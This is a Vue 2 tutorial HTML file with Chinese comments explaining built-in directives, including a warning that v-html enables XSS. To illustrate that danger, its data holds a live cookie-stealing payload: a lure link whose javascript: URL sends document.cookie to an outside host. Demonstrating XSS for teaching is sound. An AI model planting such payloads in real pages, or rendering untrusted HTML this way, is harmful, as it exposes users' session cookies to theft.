<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>内置指令</title>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>
</head>
<body>
  <!-- 
    我们学过的指令：
      v-bind 单向绑定解析表达式，可简写为 :xxx
      v-model 双向数据绑定
      v-for 便利数组/对象/字符串
      v-on 绑定事件监听，可简写为@
      v-if 条件渲染（动态控制节点是否存在）
      v-else 条件渲染（动态控制节点是否存在）
      v-show 条件渲染（动态控制节点是否展示）

      v-text指令：
        1. 作用：向其所在的节点中渲染文本内容。
        2. 与插值语法的区别：v-text会替换掉节点中的内容，{{xxx}}则不会{{xxx}}更灵活。
      
      v-html指令：
        1. 作用：向指定节点中渲染包含html结构的内容。
        2. 与插值语法的区别：
          (1).v-html会替换掉节点中所有的内容，{{xxx}}则不会。
          (2).v-html可以识别html结构。
        3. 严重注意：v-html有安全性问题！！！
          (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
          (2).一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！

        cookie-Editor
        HTTPOnly
        
        v-clock指令（没有值）：
          1.本质是一个特殊属性，Vue实例创建完毕，并接管容器后，会删掉v-cloak属性。
          2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。 

        js阻塞

        v-once指令：
          1. v-once所在节点在初次动态渲染后，就视为静态内容了。
          2. 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

        v-pre指令：
          1. 跳过其所在节点的编译过程。
          2. 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
   -->
  <div id="root" v-cloak>
    <div>{{name}}</div>
    <div v-text="name"></div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
    <h2 v-once>初始化的n值是{{n}}</h2>
    <h2>当前的n值是{{n}}</h2>
    <button @click="n++">点我n+1</button>
    <h2 v-pre>Vue</h2>
  </div>
  <script src="../js/vue.js"></script>
  <script>
    Vue.config.productionTip = false; // 阻止vue在启动时生成生产提示。
    const vm = new Vue({
      el: "#root",
      data: {
        name: "名字",
        str: "<h2>名字</h2>",
        str2: '<a href=javascript:location.href="http://baidu.com?"+document.cookie>兄弟我找到你需要的资源了，快来点我啊！</a>',
        n: 1
      }
    })
  </script>
</body>
</html>